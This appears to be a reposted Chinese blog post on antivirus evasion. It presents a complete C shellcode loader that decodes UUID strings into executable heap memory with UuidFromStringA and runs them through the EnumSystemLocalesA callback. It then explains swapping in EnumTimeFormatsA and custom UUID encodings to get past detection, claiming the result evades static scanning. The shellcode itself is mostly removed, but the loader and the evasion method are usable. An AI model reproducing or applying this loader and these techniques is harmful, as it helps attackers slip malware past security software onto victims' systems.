UUID 执行 shellcode 中学到的免杀思路

发布于 2021-03-21 01:51 ,所属分类:在线教育信息快讯

在前面的文章中,分析了通过 UUID 执行 shellcode 的原理,在分析的过程中,学习到了一些免杀思路,分享一下

在 UUID 执行 shellcode 的实现中,主要用到了 UuidFromStringA 来还原 shellcode 以及利用 EnumSystemLocalesA 来执行指定内存地址的机器码

相比平时复制 shellcode 时用的 memcpy 等函数,它用到的 2 个函数相对来说没那么常用,所以它能够逃避杀软检测有可能是杀软没有考虑周全,当然也可能是为了降低误报不监控这些函数,但个人更倾向于认为是考虑不周全的原因

在这个例子中,我们就可以明显感觉到,在做免杀的时候,使用一些不常用的 api 来达到同样的目的,往往可以起到更好的免杀效果

在前面的文章中,通过 UUID 执行 shellcode 的方式已经可以被火绒识别了,如下图:

但是我上传到 virustotal 上却只有 2 个杀软检测出来了,分别是 SecureAge APEXCylance,有点迷... 代码如下

#define _CRT_SECURE_NO_WARNINGS

#include <Windows.h>
#include <Rpc.h>
#include <stdio.h>
#include <winsock.h>

#pragma comment(lib, "Rpcrt4.lib")

const char* uuids[] =
{
    "008fe8fc-0000-3160-d289-e5648b52308b",
};

int main( ) {
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 00);
    void* ha = HeapAlloc(hc, 00x100000);
    DWORD_PTR hptr = (DWORD_PTR) ha;
    int elems = sizeof(uuids) / sizeof(uuids[0]);

    for(int i = 0; i < elems; i++) {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR) uuids[i], (UUID*) hptr);
        if(status != RPC_S_OK) {
            printf("UuidFromStringA() != S_OK\n");
            CloseHandle(ha);
            return -1;
        }
        hptr += 16;
    }

    EnumSystemLocalesA((LOCALE_ENUMPROCA) ha, 0);
    return 0;
}

上面的代码我把 UUID 删除了大部分,测试的时候需要替换成自己的转换后的 UUID,shellcode 转 UUID 可以用 Python 转,比较方便

文章开头就说了,之前 UUID 转 shellcode 执行绕过杀软,主要是利用的函数比较少见,或者说不常用

现在虽然不能免杀火绒,但是可以试着自己改改,尝试找找看火绒杀的特征是什么

比如它利用 EnumSystemLocalesA 的回调函数地址来执行 shellcode,那么我们是不是可以用其他具有类似行为的函数替换?

所以可以去翻 win32 文档,看是否还有参数是一个回调函数的函数,如果存在一个函数,它的某个参数是一个回调函数,在某些条件成立的情况下,它会调用这个回调函数,并且我们能让这个条件一定成立,那么这个函数就可以作为 EnumSystemLocalesA 的替换

win32 函数比较多,但是如果看过 EnumSystemLocalesA 的文档,就知道他在 winnls.h 中声明,在该文件中,还声明了其他类似的很多以 Enum 开头的函数,猜测这些类似的函数都有回调,随便点开一个看一下即可

比如 EnumTimeFormatsA,函数声明如下

BOOL EnumTimeFormatsA(
  TIMEFMT_ENUMPROCA lpTimeFmtEnumProc,
  LCID              Locale,
  DWORD             dwFlags
)
;

看起来第一个参数就是回调函数,看看参数说明

lpTimeFmtEnumProc

Pointer to an application-defined callback function. For more information, see EnumTimeFormatsProc.

别的没看懂,但看懂了 callback function,那应该就是回调函数了

所以我们可以用 EnumTimeFormatsA 来替换 EnumSystemLocalesA 试试

这个函数有 3 个参数,在替换前还得搞清楚另外 2 个参数应该怎么填,老办法,看文档,微软的文档对参数描述还是挺详细的

Locale

Locale identifier that specifies the locale for which to retrieve time format information. You can use the MAKELCID macro to create a locale identifier or use one of the following predefined values. LOCALE_CUSTOM_DEFAULT LOCALE_CUSTOM_UI_DEFAULT LOCALE_CUSTOM_UNSPECIFIED LOCALE_INVARIANT LOCALE_SYSTEM_DEFAULT LOCALE_USER_DEFAULT

虽然没看懂啥意思,但下面给了几个枚举值?不管了,随便复制一个就行,报错了再说

再看下第三个参数

dwFlags

The time format. This parameter can specify a combination of any of the following values.

也是给出了一些值,随便选择一个,这里选择 0

替换完后的代码就是把 EnumSystemLocalesA((LOCALE_ENUMPROCA) ha, 0); 替换成了 EnumTimeFormatsA(ha, LOCALE_CUSTOM_DEFAULT, 0);

然后再编译,就免杀了...

此处应该有截图但是没有

没有截图,自己测试吧

静态过杀软就是这么简单...

同样的,我们还可以用其他函数替换 UuidFromStringA

当然了,我也不知道还有没有现成的函数来实现跟 UuidFromStringA 同样的功能,但是就算没有也不是问题不是吗

我们完全可以自己实现 UuidFromStringA,甚至还可以自定义 UUID 的生成规则

比如通过标准的 UuidToStringshellcode 转成 UUID 后,再对转换后的 UUID 做一层处理

比如把哪几个字符串顺序对换一下?

然后自己来实现这个从 UUIDshellcode 的函数

个人认为利用 UuidFromStringA 来还原 shellcode更利于免杀,是因为没有直接的内存复制,猜测 UuidFromStringA 还原 shellcode 的时候是利用赋值(=) 来完成内存地址赋值的,而不是 memcpy 等内存复制函数来赋值

所以,免杀的时候也可以利用这个思路?

下一篇准备写下自己关于杀软的原理的理解,只有知道了杀软的原理,才更容易写出免杀的程序来

国际惯例:由于本人水平有限,难免会有错误,欢迎各位大佬批评指正


相关资源